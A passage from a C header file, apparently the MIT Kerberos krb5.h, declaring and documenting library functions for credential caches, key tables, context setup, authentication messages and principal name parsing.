* * This function destroys any existing contents of @a cache and closes the * handle to it. * * @retval * 0 Success * @return * Permission errors */ krb5_error_code KRB5_CALLCONV krb5_cc_destroy(krb5_context context, krb5_ccache cache); /** * Close a credential cache handle. * * @param [in] context Library context * @param [in] cache Credential cache handle * * This function closes a credential cache handle @a cache without affecting * the contents of the cache. * * @retval * 0 Success * @return * Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_cc_close(krb5_context context, krb5_ccache cache); /** * Store credentials in a credential cache. * * @param [in] context Library context * @param [in] cache Credential cache handle * @param [in] creds Credentials to be stored in cache * * This function stores @a creds into @a cache. If @a creds->server and the * server in the decoded ticket @a creds->ticket differ, the credentials will * be stored under both server principal names. * * @retval * 0 Success * @return Permission errors; storage failure errors; Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_cc_store_cred(krb5_context context, krb5_ccache cache, krb5_creds *creds); /** * Retrieve a specified credentials from a credential cache. * * @param [in] context Library context * @param [in] cache Credential cache handle * @param [in] flags Flags bit mask * @param [in] mcreds Credentials to match * @param [out] creds Credentials matching the requested value * * This function searches a credential cache for credentials matching @a mcreds * and returns it if found. * * Valid values for @a flags are: * * @li #KRB5_TC_MATCH_TIMES The requested lifetime must be at least as * great as in @a mcreds . * @li #KRB5_TC_MATCH_IS_SKEY The @a is_skey field much match exactly. * @li #KRB5_TC_MATCH_FLAGS Flags set in @a mcreds must be set. * @li #KRB5_TC_MATCH_TIMES_EXACT The requested lifetime must match exactly. * @li #KRB5_TC_MATCH_FLAGS_EXACT Flags must match exactly. * @li #KRB5_TC_MATCH_AUTHDATA The authorization data must match. * @li #KRB5_TC_MATCH_SRV_NAMEONLY Only the name portion of the principal * name must match, not the realm. * @li #KRB5_TC_MATCH_2ND_TKT The second tickets must match. * @li #KRB5_TC_MATCH_KTYPE The encryption key types must match. * @li #KRB5_TC_SUPPORTED_KTYPES Check all matching entries that have any * supported encryption type and return the * one with the encryption type listed earliest. * * Use krb5_free_cred_contents() to free @a creds when it is no longer needed. * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_cc_retrieve_cred(krb5_context context, krb5_ccache cache, krb5_flags flags, krb5_creds *mcreds, krb5_creds *creds); /** * Get the default principal of a credential cache. * * @param [in] context Library context * @param [in] cache Credential cache handle * @param [out] principal Primary principal * * Returns the default client principal of a credential cache as set by * krb5_cc_initialize(). * * Use krb5_free_principal() to free @a principal when it is no longer needed. * * @retval * 0 Success * @return * Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_cc_get_principal(krb5_context context, krb5_ccache cache, krb5_principal *principal); /** * Prepare to sequentially read every credential in a credential cache. * * @param [in] context Library context * @param [in] cache Credential cache handle * @param [out] cursor Cursor * * krb5_cc_end_seq_get() must be called to complete the retrieve operation. * * @note If the cache represented by @a cache is modified between the time of * the call to this function and the time of the final krb5_cc_end_seq_get(), * these changes may not be reflected in the results of krb5_cc_next_cred() * calls. * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_cc_start_seq_get(krb5_context context, krb5_ccache cache, krb5_cc_cursor *cursor); /** * Retrieve the next entry from the credential cache. * * @param [in] context Library context * @param [in] cache Credential cache handle * @param [in] cursor Cursor * @param [out] creds Next credential cache entry * * This function fills in @a creds with the next entry in @a cache and advances * @a cursor. * * Use krb5_free_cred_contents() to free @a creds when it is no longer needed. * * @sa krb5_cc_start_seq_get(), krb5_end_seq_get() * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_cc_next_cred(krb5_context context, krb5_ccache cache, krb5_cc_cursor *cursor, krb5_creds *creds); /** * Finish a series of sequential processing credential cache entries. * * @param [in] context Library context * @param [in] cache Credential cache handle * @param [in] cursor Cursor * * This function finishes processing credential cache entries and invalidates * @a cursor. * * @sa krb5_cc_start_seq_get(), krb5_cc_next_cred() * * @retval 0 (always) */ krb5_error_code KRB5_CALLCONV krb5_cc_end_seq_get(krb5_context context, krb5_ccache cache, krb5_cc_cursor *cursor); /** * Remove credentials from a credential cache. * * @param [in] context Library context * @param [in] cache Credential cache handle * @param [in] flags Bitwise-ORed search flags * @param [in] creds Credentials to be matched * * @warning This function is not implemented for some cache types. * * This function accepts the same flag values as krb5_cc_retrieve_cred(). * * @retval KRB5_CC_NOSUPP Not implemented for this cache type * @return No matches found; Data cannot be deleted; Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_cc_remove_cred(krb5_context context, krb5_ccache cache, krb5_flags flags, krb5_creds *creds); /** * Set options flags on a credential cache. * * @param [in] context Library context * @param [in] cache Credential cache handle * @param [in] flags Flag bit mask * * This function resets @a cache flags to @a flags. * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_cc_set_flags(krb5_context context, krb5_ccache cache, krb5_flags flags); /** * Retrieve flags from a credential cache structure. * * @param [in] context Library context * @param [in] cache Credential cache handle * @param [out] flags Flag bit mask * * @warning For memory credential cache always returns a flag mask of 0. * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_cc_get_flags(krb5_context context, krb5_ccache cache, krb5_flags *flags); /** * Retrieve the type of a credential cache. * * @param [in] context Library context * @param [in] cache Credential cache handle * * @return The type of a credential cache as an alias that must not be modified * or freed by the caller. */ const char * KRB5_CALLCONV krb5_cc_get_type(krb5_context context, krb5_ccache cache); /** * Move a credential cache. * * @param [in] context Library context * @param [in] src The credential cache to move the content from * @param [in] dst The credential cache to move the content to * * This function reinitializes @a dst and populates it with the credentials and * default principal of @a src; then, if successful, destroys @a src. * * @retval * 0 Success; @a src is closed. * @return * Kerberos error codes; @a src is still allocated. */ krb5_error_code KRB5_CALLCONV krb5_cc_move(krb5_context context, krb5_ccache src, krb5_ccache dst); /** * Prepare to iterate over the collection of known credential caches. * * @param [in] context Library context * @param [out] cursor Cursor * * Get a new cache iteration @a cursor that will iterate over all known * credential caches independent of type. * * Use krb5_cccol_cursor_free() to release @a cursor when it is no longer * needed. * * @sa krb5_cccol_cursor_next() * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_cccol_cursor_new(krb5_context context, krb5_cccol_cursor *cursor); /** * Get the next credential cache in the collection. * * @param [in] context Library context * @param [in] cursor Cursor * @param [out] ccache Credential cache handle * * @note When all caches are iterated over and the end of the list is reached, * @a ccache is set to NULL. * * Use krb5_cc_close() to close @a ccache when it is no longer needed. * * @sa krb5_cccol_cursor_new(), krb5_cccol_cursor_free() * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_cccol_cursor_next(krb5_context context, krb5_cccol_cursor cursor, krb5_ccache *ccache); /** * Free a credential cache collection cursor. * * @param [in] context Library context * @param [in] cursor Cursor * * @sa krb5_cccol_cursor_new(), krb5_cccol_cursor_next() * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_cccol_cursor_free(krb5_context context, krb5_cccol_cursor *cursor); /** * Check if the credential cache collection contains any credentials. * * @param [in] context Library context * * @version New in 1.11 * * @retval 0 Credentials are available in the collection * @retval KRB5_CC_NOTFOUND The collection contains no credentials */ krb5_error_code KRB5_CALLCONV krb5_cccol_have_content(krb5_context context); /** * Create a new credential cache of the specified type with a unique name. * * @param [in] context Library context * @param [in] type Credential cache type name * @param [in] hint Unused * @param [out] id Credential cache handle * * @retval * 0 Success * @return * Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_cc_new_unique(krb5_context context, const char *type, const char *hint, krb5_ccache *id); /* * end "ccache.h" */ /* * begin "rcache.h" */ struct krb5_rc_st; typedef struct krb5_rc_st *krb5_rcache; /* * end "rcache.h" */ /* * begin "keytab.h" */ /* XXX */ #define MAX_KEYTAB_NAME_LEN 1100 /**< Long enough for MAXPATHLEN + some extra */ typedef krb5_pointer krb5_kt_cursor; /** A key table entry. */ typedef struct krb5_keytab_entry_st { krb5_magic magic; krb5_principal principal; /**< Principal of this key */ krb5_timestamp timestamp; /**< Time entry written to keytable */ krb5_kvno vno; /**< Key version number */ krb5_keyblock key; /**< The secret key */ } krb5_keytab_entry; struct _krb5_kt; typedef struct _krb5_kt *krb5_keytab; /** * Return the type of a key table. * * @param [in] context Library context * @param [in] keytab Key table handle * * @return The type of a key table as an alias that must not be modified or * freed by the caller. */ const char * KRB5_CALLCONV krb5_kt_get_type(krb5_context context, krb5_keytab keytab); /** * Get a key table name. * * @param [in] context Library context * @param [in] keytab Key table handle * @param [out] name Key table name * @param [in] namelen Maximum length to fill in name * * Fill @a name with the name of @a keytab including the type and delimiter. * * @sa MAX_KEYTAB_NAME_LEN * * @retval * 0 Success * @retval * KRB5_KT_NAME_TOOLONG Key table name does not fit in @a namelen bytes * * @return * Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_kt_get_name(krb5_context context, krb5_keytab keytab, char *name, unsigned int namelen); /** * Close a key table handle. * * @param [in] context Library context * @param [in] keytab Key table handle * * @retval 0 */ krb5_error_code KRB5_CALLCONV krb5_kt_close(krb5_context context, krb5_keytab keytab); /** * Get an entry from a key table. * * @param [in] context Library context * @param [in] keytab Key table handle * @param [in] principal Principal name * @param [in] vno Key version number (0 for highest available) * @param [in] enctype Encryption type (0 zero for any enctype) * @param [out] entry Returned entry from key table * * Retrieve an entry from a key table which matches the @a keytab, @a * principal, @a vno, and @a enctype. If @a vno is zero, retrieve the * highest-numbered kvno matching the other fields. If @a enctype is 0, match * any enctype. * * Use krb5_free_keytab_entry_contents() to free @a entry when it is no longer * needed. * * @note If @a vno is zero, the function retrieves the highest-numbered-kvno * entry that matches the specified principal. * * @retval * 0 Success * @retval * Kerberos error codes on failure */ krb5_error_code KRB5_CALLCONV krb5_kt_get_entry(krb5_context context, krb5_keytab keytab, krb5_const_principal principal, krb5_kvno vno, krb5_enctype enctype, krb5_keytab_entry *entry); /** * Start a sequential retrieval of key table entries. * * @param [in] context Library context * @param [in] keytab Key table handle * @param [out] cursor Cursor * * Prepare to read sequentially every key in the specified key table. Use * krb5_kt_end_seq_get() to release the cursor when it is no longer needed. * * @sa krb5_kt_next_entry(), krb5_kt_end_seq_get() * * @retval * 0 Success * @return * Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_kt_start_seq_get(krb5_context context, krb5_keytab keytab, krb5_kt_cursor *cursor); /** * Retrieve the next entry from the key table. * * @param [in] context Library context * @param [in] keytab Key table handle * @param [out] entry Returned key table entry * @param [in] cursor Key table cursor * * Return the next sequential entry in @a keytab and advance @a cursor. * Callers must release the returned entry with krb5_kt_free_entry(). * * @sa krb5_kt_start_seq_get(), krb5_kt_end_seq_get() * * @retval * 0 Success * @retval * KRB5_KT_END - if the last entry was reached * @return * Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_kt_next_entry(krb5_context context, krb5_keytab keytab, krb5_keytab_entry *entry, krb5_kt_cursor *cursor); /** * Release a keytab cursor. * * @param [in] context Library context * @param [in] keytab Key table handle * @param [out] cursor Cursor * * This function should be called to release the cursor created by * krb5_kt_start_seq_get(). * * @retval * 0 Success * @return * Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_kt_end_seq_get(krb5_context context, krb5_keytab keytab, krb5_kt_cursor *cursor); /** * Check if a keytab exists and contains entries. * * @param [in] context Library context * @param [in] keytab Key table handle * * @version New in 1.11 * * @retval 0 Keytab exists and contains entries * @retval KRB5_KT_NOTFOUND Keytab does not contain entries */ krb5_error_code KRB5_CALLCONV krb5_kt_have_content(krb5_context context, krb5_keytab keytab); /* * end "keytab.h" */ /* * begin "func-proto.h" */ #define KRB5_INIT_CONTEXT_SECURE 0x1 /**< Use secure context configuration */ #define KRB5_INIT_CONTEXT_KDC 0x2 /**< Use KDC configuration if available */ /** * Create a krb5 library context. * * @param [out] context Library context * * The @a context must be released by calling krb5_free_context() when * it is no longer needed. * * @warning Any program or module that needs the Kerberos code to not trust the * environment must use krb5_init_secure_context(), or clean out the * environment. * * @retval * 0 Success * @return * Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_init_context(krb5_context *context); /** * Create a krb5 library context using only configuration files. * * @param [out] context Library context * * Create a context structure, using only system configuration files. All * information passed through the environment variables is ignored. * * The @a context must be released by calling krb5_free_context() when * it is no longer needed. * * @retval * 0 Success * @return * Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_init_secure_context(krb5_context *context); /** * Create a krb5 library context using a specified profile. * * @param [in] profile Profile object (NULL to create default profile) * @param [in] flags Context initialization flags * @param [out] context Library context * * Create a context structure, optionally using a specified profile and * initialization flags. If @a profile is NULL, the default profile will be * created from config files. If @a profile is non-null, a copy of it will be * made for the new context; the caller should still clean up its copy. Valid * flag values are: * * @li #KRB5_INIT_CONTEXT_SECURE Ignore environment variables * @li #KRB5_INIT_CONTEXT_KDC Use KDC configuration if creating profile */ krb5_error_code KRB5_CALLCONV krb5_init_context_profile(struct _profile_t *profile, krb5_flags flags, krb5_context *context); /** * Free a krb5 library context. * * @param [in] context Library context * * This function frees a @a context that was created by krb5_init_context() * or krb5_init_secure_context(). */ void KRB5_CALLCONV krb5_free_context(krb5_context context); /** * Copy a krb5_context structure. * * @param [in] ctx Library context * @param [out] nctx_out New context structure * * The newly created context must be released by calling krb5_free_context() * when it is no longer needed. * * @retval * 0 Success * @return * Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_copy_context(krb5_context ctx, krb5_context *nctx_out); /** * Set default TGS encryption types in a krb5_context structure. * * @param [in] context Library context * @param [in] etypes Encryption type(s) to set * * This function sets the default enctype list for TGS requests * made using @a context to @a etypes. * * @note This overrides the default list (from config file or built-in). * * @retval * 0 Success * @retval * KRB5_PROG_ETYPE_NOSUPP Program lacks support for encryption type * @return * Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_set_default_tgs_enctypes(krb5_context context, const krb5_enctype *etypes); /** * Return a list of encryption types permitted for session keys. * * @param [in] context Library context * @param [out] ktypes Zero-terminated list of encryption types * * This function returns the list of encryption types permitted for session * keys within @a context, as determined by configuration or by a previous call * to krb5_set_default_tgs_enctypes(). * * Use krb5_free_enctypes() to free @a ktypes when it is no longer needed. * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_get_permitted_enctypes(krb5_context context, krb5_enctype **ktypes); /** * Test whether the Kerberos library was built with multithread support. * * @retval * TRUE if the library is threadsafe; FALSE otherwise */ krb5_boolean KRB5_CALLCONV krb5_is_thread_safe(void); /* libkrb.spec */ /** * Decrypt a ticket using the specified key table. * * @param [in] context Library context * @param [in] kt Key table * @param [in] ticket Ticket to be decrypted * * This function takes a @a ticket as input and decrypts it using * key data from @a kt. The result is placed into @a ticket->enc_part2. * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_server_decrypt_ticket_keytab(krb5_context context, const krb5_keytab kt, krb5_ticket *ticket); /** * Free an array of credential structures. * * @param [in] context Library context * @param [in] tgts Null-terminated array of credentials to free * * @note The last entry in the array @a tgts must be a NULL pointer. */ void KRB5_CALLCONV krb5_free_tgt_creds(krb5_context context, krb5_creds **tgts); /** @defgroup KRB5_GC KRB5_GC * @{ */ #define KRB5_GC_USER_USER 1 /**< Want user-user ticket */ #define KRB5_GC_CACHED 2 /**< Want cached ticket only */ #define KRB5_GC_CANONICALIZE 4 /**< Set canonicalize KDC option */ #define KRB5_GC_NO_STORE 8 /**< Do not store in credential cache */ #define KRB5_GC_FORWARDABLE 16 /**< Acquire forwardable tickets */ #define KRB5_GC_NO_TRANSIT_CHECK 32 /**< Disable transited check */ #define KRB5_GC_CONSTRAINED_DELEGATION 64 /**< Constrained delegation */ /** @} */ /* end of KRB5_GC group */ /** * Get an additional ticket. * * @param [in] context Library context * @param [in] options Options * @param [in] ccache Credential cache handle * @param [in] in_creds Input credentials * @param [out] out_creds Output updated credentials * * Use @a ccache or a TGS exchange to get a service ticket matching @a * in_creds. * * Valid values for @a options are: * @li #KRB5_GC_CACHED Search only credential cache for the ticket * @li #KRB5_GC_USER_USER Return a user to user authentication ticket * * @a in_creds must be non-null. @a in_creds->client and @a in_creds->server * must be filled in to specify the client and the server respectively. If any * authorization data needs to be requested for the service ticket (such as * restrictions on how the ticket can be used), specify it in @a * in_creds->authdata; otherwise set @a in_creds->authdata to NULL. The * session key type is specified in @a in_creds->keyblock.enctype, if it is * nonzero. * * The expiration date is specified in @a in_creds->times.endtime. * The KDC may return tickets with an earlier expiration date. * If @a in_creds->times.endtime is set to 0, the latest possible * expiration date will be requested. * * Any returned ticket and intermediate ticket-granting tickets are stored * in @a ccache. * * Use krb5_free_creds() to free @a out_creds when it is no longer needed. * * @retval * 0 Success * @return * Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_get_credentials(krb5_context context, krb5_flags options, krb5_ccache ccache, krb5_creds *in_creds, krb5_creds **out_creds); /** * Serialize a @c krb5_creds object. * * @param [in] context Library context * @param [in] creds The credentials object to serialize * @param [out] data_out The serialized credentials * * Serialize @a creds in the format used by the FILE ccache format (vesion 4) * and KCM ccache protocol. * * Use krb5_free_data() to free @a data_out when it is no longer needed. * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_marshal_credentials(krb5_context context, krb5_creds *in_creds, krb5_data **data_out); /** * Deserialize a @c krb5_creds object. * * @param [in] context Library context * @param [in] data The serialized credentials * @param [out] creds_out The resulting creds object * * Deserialize @a data to credentials in the format used by the FILE ccache * format (vesion 4) and KCM ccache protocol. * * Use krb5_free_creds() to free @a creds_out when it is no longer needed. * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_unmarshal_credentials(krb5_context context, const krb5_data *data, krb5_creds **creds_out); /** @deprecated Replaced by krb5_get_validated_creds. */ krb5_error_code KRB5_CALLCONV krb5_get_credentials_validate(krb5_context context, krb5_flags options, krb5_ccache ccache, krb5_creds *in_creds, krb5_creds **out_creds); /** @deprecated Replaced by krb5_get_renewed_creds. */ krb5_error_code KRB5_CALLCONV krb5_get_credentials_renew(krb5_context context, krb5_flags options, krb5_ccache ccache, krb5_creds *in_creds, krb5_creds **out_creds); /** * Create a @c KRB_AP_REQ message. * * @param [in] context Library context * @param [in,out] auth_context Pre-existing or newly created auth context * @param [in] ap_req_options @ref AP_OPTS options * @param [in] service Service name, or NULL to use @c "host" * @param [in] hostname Host name, or NULL to use local hostname * @param [in] in_data Application data to be checksummed in the * authenticator, or NULL * @param [in] ccache Credential cache used to obtain credentials * for the desired service. * @param [out] outbuf @c AP-REQ message * * This function is similar to krb5_mk_req_extended() except that it uses a * given @a hostname, @a service, and @a ccache to construct a service * principal name and obtain credentials. * * Use krb5_free_data_contents() to free @a outbuf when it is no longer needed. * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_mk_req(krb5_context context, krb5_auth_context *auth_context, krb5_flags ap_req_options, const char *service, const char *hostname, krb5_data *in_data, krb5_ccache ccache, krb5_data *outbuf); /** * Create a @c KRB_AP_REQ message using supplied credentials. * * @param [in] context Library context * @param [in,out] auth_context Pre-existing or newly created auth context * @param [in] ap_req_options @ref AP_OPTS options * @param [in] in_data Application data to be checksummed in the * authenticator, or NULL * @param [in] in_creds Credentials for the service with valid ticket * and key * @param [out] outbuf @c AP-REQ message * * Valid @a ap_req_options are: * @li #AP_OPTS_USE_SESSION_KEY - Use the session key when creating the * request used for user to user * authentication. * @li #AP_OPTS_MUTUAL_REQUIRED - Request a mutual authentication packet from * the receiver. * @li #AP_OPTS_USE_SUBKEY - Generate a subsession key from the current * session key obtained from the credentials. * * This function creates a KRB_AP_REQ message using supplied credentials @a * in_creds. @a auth_context may point to an existing auth context or to NULL, * in which case a new one will be created. If @a in_data is non-null, a * checksum of it will be included in the authenticator contained in the * KRB_AP_REQ message. Use krb5_free_data_contents() to free @a outbuf when it * is no longer needed. * * On successful return, the authenticator is stored in @a auth_context with * the @a client and @a checksum fields nulled out. (This is to prevent * pointer-sharing problems; the caller should not need these fields anyway, * since the caller supplied them.) * * @sa krb5_mk_req() * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_mk_req_extended(krb5_context context, krb5_auth_context *auth_context, krb5_flags ap_req_options, krb5_data *in_data, krb5_creds *in_creds, krb5_data *outbuf); /** * Format and encrypt a @c KRB_AP_REP message. * * @param [in] context Library context * @param [in] auth_context Authentication context * @param [out] outbuf @c AP-REP message * * This function fills in @a outbuf with an AP-REP message using information * from @a auth_context. * * If the flags in @a auth_context indicate that a sequence number should be * used (either #KRB5_AUTH_CONTEXT_DO_SEQUENCE or * #KRB5_AUTH_CONTEXT_RET_SEQUENCE) and the local sequence number in @a * auth_context is 0, a new number will be generated with * krb5_generate_seq_number(). * * Use krb5_free_data_contents() to free @a outbuf when it is no longer needed. * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_mk_rep(krb5_context context, krb5_auth_context auth_context, krb5_data *outbuf); /** * Format and encrypt a @c KRB_AP_REP message for DCE RPC. * * @param [in] context Library context * @param [in] auth_context Authentication context * @param [out] outbuf @c AP-REP message * * Use krb5_free_data_contents() to free @a outbuf when it is no longer needed. * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_mk_rep_dce(krb5_context context, krb5_auth_context auth_context, krb5_data *outbuf); /** * Parse and decrypt a @c KRB_AP_REP message. * * @param [in] context Library context * @param [in] auth_context Authentication context * @param [in] inbuf AP-REP message * @param [out] repl Decrypted reply message * * This function parses, decrypts and verifies a message from @a inbuf and * fills in @a repl with a pointer to allocated memory containing the fields * from the encrypted response. * * Use krb5_free_ap_rep_enc_part() to free @a repl when it is no longer needed. * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_rd_rep(krb5_context context, krb5_auth_context auth_context, const krb5_data *inbuf, krb5_ap_rep_enc_part **repl); /** * Parse and decrypt a @c KRB_AP_REP message for DCE RPC. * * @param [in] context Library context * @param [in] auth_context Authentication context * @param [in] inbuf AP-REP message * @param [out] nonce Sequence number from the decrypted reply * * This function parses, decrypts and verifies a message from @a inbuf and * fills in @a nonce with a decrypted reply sequence number. * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_rd_rep_dce(krb5_context context, krb5_auth_context auth_context, const krb5_data *inbuf, krb5_ui_4 *nonce); /** * Format and encode a @c KRB_ERROR message. * * @param [in] context Library context * @param [in] dec_err Error structure to be encoded * @param [out] enc_err Encoded error structure * * This function creates a @c KRB_ERROR message in @a enc_err. Use * krb5_free_data_contents() to free @a enc_err when it is no longer needed. * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_mk_error(krb5_context context, const krb5_error *dec_err, krb5_data *enc_err); /** * Decode a @c KRB-ERROR message. * * @param [in] context Library context * @param [in] enc_errbuf Encoded error message * @param [out] dec_error Decoded error message * * This function processes @c KRB-ERROR message @a enc_errbuf and returns * an allocated structure @a dec_error containing the error message. * Use krb5_free_error() to free @a dec_error when it is no longer needed. * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_rd_error(krb5_context context, const krb5_data *enc_errbuf, krb5_error **dec_error); /** * Process @c KRB-SAFE message. * * @param [in] context Library context * @param [in] auth_context Authentication context * @param [in] inbuf @c KRB-SAFE message to be parsed * @param [out] userdata_out Data parsed from @c KRB-SAFE message * @param [out] rdata_out Replay data. Specify NULL if not needed * * This function parses a @c KRB-SAFE message, verifies its integrity, and * stores its data into @a userdata_out. * * @note The @a rdata_out argument is required if the * #KRB5_AUTH_CONTEXT_RET_TIME or #KRB5_AUTH_CONTEXT_RET_SEQUENCE flag is set * in @a auth_context. * * If @a auth_context has a remote address set, the address will be used to * verify the sender address in the KRB-SAFE message. If @a auth_context has a * local address set, it will be used to verify the receiver address in the * KRB-SAFE message if the message contains one. * * If the #KRB5_AUTH_CONTEXT_DO_SEQUENCE flag is set in @a auth_context, the * sequence number of the KRB-SAFE message is checked against the remote * sequence number field of @a auth_context. Otherwise, the sequence number is * not used. * * If the #KRB5_AUTH_CONTEXT_DO_TIME flag is set in @a auth_context, then the * timestamp in the message is verified to be within the permitted clock skew * of the current time, and the message is checked against an in-memory replay * cache to detect reflections or replays. * * Use krb5_free_data_contents() to free @a userdata_out when it is no longer * needed. * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_rd_safe(krb5_context context, krb5_auth_context auth_context, const krb5_data *inbuf, krb5_data *userdata_out, krb5_replay_data *rdata_out); /** * Process a @c KRB-PRIV message. * * @param [in] context Library context * @param [in] auth_context Authentication structure * @param [in] inbuf @c KRB-PRIV message to be parsed * @param [out] userdata_out Data parsed from @c KRB-PRIV message * @param [out] rdata_out Replay data. Specify NULL if not needed * * This function parses a @c KRB-PRIV message, verifies its integrity, and * stores its unencrypted data into @a userdata_out. * * @note The @a rdata_out argument is required if the * #KRB5_AUTH_CONTEXT_RET_TIME or #KRB5_AUTH_CONTEXT_RET_SEQUENCE flag is set * in @a auth_context. * * If @a auth_context has a remote address set, the address will be used to * verify the sender address in the KRB-PRIV message. If @a auth_context has a * local address set, it will be used to verify the receiver address in the * KRB-PRIV message if the message contains one. * * If the #KRB5_AUTH_CONTEXT_DO_SEQUENCE flag is set in @a auth_context, the * sequence number of the KRB-PRIV message is checked against the remote * sequence number field of @a auth_context. Otherwise, the sequence number is * not used. * * If the #KRB5_AUTH_CONTEXT_DO_TIME flag is set in @a auth_context, then the * timestamp in the message is verified to be within the permitted clock skew * of the current time, and the message is checked against an in-memory replay * cache to detect reflections or replays. * * Use krb5_free_data_contents() to free @a userdata_out when it is no longer * needed. * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_rd_priv(krb5_context context, krb5_auth_context auth_context, const krb5_data *inbuf, krb5_data *userdata_out, krb5_replay_data *rdata_out); /** * Convert a string principal name to a krb5_principal structure. * * @param [in] context Library context * @param [in] name String representation of a principal name * @param [out] principal_out New principal * * Convert a string representation of a principal name to a krb5_principal * structure. * * A string representation of a Kerberos name consists of one or more principal * name components, separated by slashes, optionally followed by the \@ * character and a realm name. If the realm name is not specified, the local * realm is used. * * To use the slash and \@ symbols as part of a component (quoted) instead of * using them as a component separator or as a realm prefix), put a backslash * (\) character in front of the symbol. Similarly, newline, tab, backspace, * and NULL characters can be included in a component by using @c n, @c t, @c b * or @c 0, respectively. * * @note The realm in a Kerberos @a name cannot contain slash, colon, * or NULL characters. * * Use krb5_free_principal() to free @a principal_out when it is no longer * needed. * * @retval * 0 Success * @return * Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_parse_name(krb5_context context, const char *name, krb5_principal *principal_out); #define KRB5_PRINCIPAL_PARSE_NO_REALM 0x1 /**< Error if realm is present */ #define KRB5_PRINCIPAL_PARSE_REQUIRE_REALM 0x2 /**< Error if realm is not present */ #define KRB5_PRINCIPAL_PARSE_ENTERPRISE 0x4 /**< Create single-component enterprise principle */ #define KRB5_PRINCIPAL_PARSE_IGNORE_REALM 0x8 /**< Ignore realm if present */ /** * Convert a string principal name to a krb5_principal with flags. * * @param [in] context Library context * @param [in] name String representation of a principal name * @param [in] flags Flag * @param [out] principal_out New principal * * Similar to krb5_parse_name(), this function converts a single-string * representation of a principal name to a krb5_principal structure. * * The following flags are valid: * @li #KRB5_PRINCIPAL_PARSE_NO_REALM - no realm must be present in @a name * @li #KRB5_PRINCIPAL_PARSE_REQUIRE_REALM - realm must be present in @a name * @li #KRB5_PRINCIPAL_PARSE_ENTERPRISE - create single-component enterprise * principal * @li #KRB5_PRINCIPAL_PARSE_IGNORE_REALM - ignore realm if present in @a name * * If @c KRB5_PRINCIPAL_PARSE_NO_REALM or @c KRB5_PRINCIPAL_PARSE_IGNORE_REALM * is specified in @a flags, the realm of the new principal will be empty. * Otherwise, the default realm for @a context will be used if @a name does not * specify a realm. * * Use krb5_free_principal() to free @a principal_out when it is no longer * needed. * * @retval * 0 Success * @return * Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_parse_name_flags(krb5_context context, const char *name, int flags, krb5_principal *principal_out); /** * Convert a krb5_principal structure to a string representation. * * @param [in] context Library context * @param [in] principal Principal * @param [out] name String representation of principal name * * The resulting string representation uses the format and quoting conventions * described for krb5_parse_name(). * * Use krb5_free_unparsed_name() to free @a name when it is no longer needed. * * @retval * 0 Success * @return * Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_unparse_name(krb5_context context, krb5_const_principal principal, char **name); /** * Convert krb5_principal structure to string and length. * * @param [in] context Library context * @param [in] principal Principal * @param [in,out] name String representation of principal name * @param [in,out] size Size of unparsed name * * This function is similar to krb5_unparse_name(), but allows the use of an * existing buffer for the result. If size is not NULL, then @a name must * point to either NULL or an existing buffer of at least the size pointed to * by @a size. The buffer will be allocated or resized if necessary, with the * new pointer stored into @a name. Whether or not the buffer is resized, the * necessary space for the result, including null terminator, will be stored * into @a size. * * If size is NULL, this function behaves exactly as krb5_unparse_name(). * * @retval * 0 Success * @return * Kerberos error codes. On failure @a name is set to NULL */ krb5_error_code KRB5_CALLCONV krb5_unparse_name_ext(krb5_context context, krb5_const_principal principal, char **name, unsigned int *size); #define KRB5_PRINCIPAL_UNPARSE_SHORT 0x1 /**< Omit realm if it is the local realm */ #define KRB5_PRINCIPAL_UNPARSE_NO_REALM 0x2 /**< Omit realm always */ #define KRB5_PRINCIPAL_UNPARSE_DISPLAY 0x4 /**< Don't escape special characters */ /** * Convert krb5_principal structure to a string with flags. * * @param [in] context Library context * @param [in] principal 